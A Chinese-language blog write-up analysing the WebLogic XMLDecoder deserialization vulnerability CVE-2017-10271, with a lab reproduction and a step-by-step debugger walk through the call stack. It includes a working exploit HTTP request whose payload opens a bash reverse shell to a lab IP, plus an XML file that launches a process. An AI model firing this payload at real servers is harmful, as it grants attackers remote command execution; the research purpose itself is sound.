一、原理
(一)概述
WebLogic对POST类型的XML请求未做有效的过滤防范,导致了XMLDecoder反序列化漏洞。
(二)CVE-2017-10271
CVE-2017-10271与CVE-2017-3506的漏洞原理是一样的,即WebLogic对恶意的XML请求防范的不够严密。
(三)原理
和之前接触过的php的xml注入有点像,
根本成因在于没有对输入的xml做有效的过滤,导致了任意代码执行,故整个流程涉及到两个部分,一是我们输入的xml是怎么进入到反序列化点的,二是payload在反序列化点是怎么导致任意代码执行的。
网上流传的payload如下,
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.43.64:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.43.171/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
二、调试
(一)环境搭建
可以直接使用vulhub的docker进行搭建,这里还是推荐这个良心博客,
IDEA+docker,进行远程漏洞调试(weblogic) – ph4nt0mer – 博客园
(二)复现
burp拦截包,改之,
成功执行,得到反向shell。
(三)调试
先上完整调用栈,比较深,人为分成几个部分,
readObject:206, XMLDecoder (java.beans)
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext)
processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
这一小节需要关注的是调用readObject时发生了什么,但也这里不会研究的特别深入,只简单的看下关键点,调用栈的前三段(即怎么进入的readObject)放到下一小节。
先简单看下Java中xml的结构,来个简单的demo,
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.util.HashMap;
public class DemoOut {
public static void main(String[] args) throws FileNotFoundException {
HashMap<Object, Object> map = new HashMap<>();
map.put("arr", new String[3]);
XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("demo.xml")));
e.writeObject(map);
e.close();
}
}
得到的demo.xml如下,
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<object class="java.util.HashMap">
<void method="put">
<string>arr</string>
<array class="java.lang.String" length="3"/>
</void>
</object>
</java>
这其中,object标签表示对象;void标签表示函数调用、赋值等操作, 里面的method 属性指定方法名称; array标签表示数组, 里面的class属性指定具体类。
我们再来读取一下这个xml文件,
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class DemoIn {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("demo.xml")));
Object demo = d.readObject();
d.close();
}
}
我们在调试的过程中,可以看到以下两个比较有价值的过程点,
一是此处生成一个表达式对象,其中会调用HashMap的put将arr给put进去,
最终反序列化恢复成为一个我们最开始构建的对象,
我们可以想象,此处的void标签可以表示HashMap对象的put()函数的调用,也应该可以标识其它类的其它函数的调用。
比如,如果我们将demo.xml中的对象由HashMap改为可以执行命令的函数,再赋予适当的参数,就有可能执行恶意功能。
有如下这般xml一个,
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
再执行刚才的java,
可以看到calc已经被执行。
我们在刚才的Expression处下断,
当执行完create()之后,即会弹出计算器。
前面我们看到,如果未对传入readObject的xml做过滤,就有可能引发命令执行。下面我们结合调用栈,看一下我们构造好的恶意数据能否绕过可能的防护,进入readObject。
首先是WLSServletAdapter.handle(),
查看该函数,
通过payload 可以看出,我们发的是post类型的包,这里直接走到最下面的super.handle(),即ServletAdapter.handle(),
其中又调用了它的super.handle(),即HttpAdapter.handle(),
其中的createConnection()用于创建server applet连接,这只是一个常规的流程而已,略过,
跟进HttpAdapter.handle(),
这里同样会越过if,下面的几行都是些常规流程,我们要关注的是我们发送的数据包(中的payload)在Server端的处理流程,
看到这里,
HttpToolkit会调用handle(),
这里可以猜测,ToolKit的作用是将我们发过来的数据包转化成Java中可以接受处理的Java对象,
这里看到,
packet = HttpAdapter.this.decodePacket(con, this.codec);
这一行的意义比较明显,从函数名即可看出,是解码数据包的,其中很有可能有重要的操作,而且我们需要关注它来确认我们的数据包(其实主要是payload)是否被传了进来,
查看codec,发现是个text/xml类型的数据包,
跟进HttpToolkit.decodePacket(),
可以看到,其中多为赋值操作(可以关注下InputStream in = con.getInput();),这一部分是对数据包的解析,也是对Java对象的初始化,
经过赋值,我们可以得到这样的一个对象,
下面的if无法进入,
于是我们会进入到codec.decode(in, ct, packet);(同时我们看到,执行完这一步就会return packet,即解析好的Java对象),
此时的in如下,
可以看到,其buf字段即为我们的payload,
继续跟进SOAPBindingCodec.decode(),
向下跟进几步,
最终进入到this.xmlSoapCodec.decode(in, contentType, packet);处
进入到StreamSOAPCodec.decode(),
跟进重载函数,
可以看到,此处的expectedContentTypes只有text/xml,
isContentTypeSupported()主要是一个比较、检查的功能,不需要多关注,
步出,继续执行StreamSOAPCodec.decode(),又有字符集的检查,
大概意思就是,如果类型和字符集的检查没什么问题,就要赋值了,
这一步执行之前,
packet如下,
in的buf字段如下,
执行完这一步后,
message已被赋值,
步出到HttpAdapter.decodePacket(),
到此我们看到,即将退出HttpAdapter.decodePacket(),packet已经构造好。
这一部分的调用栈如下,
decode:315, StreamSOAPCodec (com.sun.xml.ws.encoding)
decode:151, StreamSOAPCodec (com.sun.xml.ws.encoding)
decode:290, SOAPBindingCodec (com.sun.xml.ws.encoding)
decodePacket:294, HttpAdapter (com.sun.xml.ws.transport.http)
access$500:102, HttpAdapter (com.sun.xml.ws.transport.http)
handle:519, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
我们现在正处于HttpAdapter$HttpToolkit.handle()内,HttpAdapter$HttpToolkit.handle()的前半部分(主要是packet = HttpAdapter.this.decodePacket(con, this.codec);一句)完成了数据包的解析,并将其转化成对应的Java对象。
继续看HttpAdapter$HttpToolkit.handle(),
此时packet已经赋值完毕,我们的数据包被解析成了Java的对象,
可以看到,我们的payload已经在其中了,
向下走,我们会走到 this.head.process这里,
顾名思义,此处应该是对packet进行处理,这里可能会对我们的数据包(或曰此处的对象)产生影响,使之不能顺利的抵达readObject(),我们跟进查看,
其中先是一些赋值操作,我认为对我们最后的结果没有实质的影响,因为从上面可以看到,我们的payload存于message.reader.closeableSource.delegate.in.buf字段,最后解析来getshell时主要也是靠的这个字段。以此观之,这一段代码并没有什么影响。
接下来走到fiber.runSync()这里,
下面就要return response了,这里有必要跟进去看下,
此处的this是个Fiber对象,
经过赋值,this.packet变成了我们的数据包,
接下来可以关注this.packet,
我们看这个函数的下半段,
我们看到,这里直接将var7赋值为this.packet,然后再无处理,直到var7被return 成为response,
所以,我们应该跟入this.doRun(),其内部可能有对packet的处理,影响var7,进而影响返回值。
接下来,需要跟入this._doRun(),
前面的几个if-else嵌套没有实际的作用,都会跳出,
最终到达这里,
此时各变量的情况如下,
结合前面的调用栈来看,WorkContextServerTube.processRequest()才是触发漏洞的一环,而非此处的WseeServerTube,
重复走几轮循环,直到this.next为我们想要的对象,
步入processRequest(),可以看到这里主要还是提取出一些值来,
接下来会进入readHeaderOld(),
跟进,
可以看到,var4作为一个ByteArray,存储了payload对应的字符串,接下来var6将一var4为参数构建一个WorkContextXmlInputAdapter,再往后就是this.receive(var6),根据调用栈的提示,我们应该跟进之。
前面的调试过程中应该来讲没有对我们传给this.receive()的var6(携带的payload)产生实质影响,从调用栈我们可以明确从receive到最后的readObject主要经历的有哪些函数,下面我们可以着重观察这几步流程, 关注的重点有二:一是传入readObject的参数为何物,二是这部分流程有没有对这个参数做处理(主要为检查、过滤)。
先进入WorkContextServerTube.receive(),
没有过滤,继续跟进,
看不出什么,继续跟进WorkContextLocalMap.receiveRequest(),
若有处理,也只能在WorkContextEntryImpl.readEntry()中,于是跟进之,
跟进WorkContextXmlInputAdapter.readUTF(),
可以看到,这里直接调用了this.xmlDecoder.readObject(),到此也没有做任何过滤,漏洞由此产生。
三、收获与启示
这个漏洞看起来有些复杂,但其实原理较为直接,与之类似的漏洞也有一些。个人感觉,XML的漏洞和WebLogic的反序列化漏洞都有着思路上的共同点:先找到一个可以触发RCE的点,然后不停的尝试,从我们的输入点能否达到它。实现这个思路的具体方法会有差异,这就是这其中每个漏洞的特点了。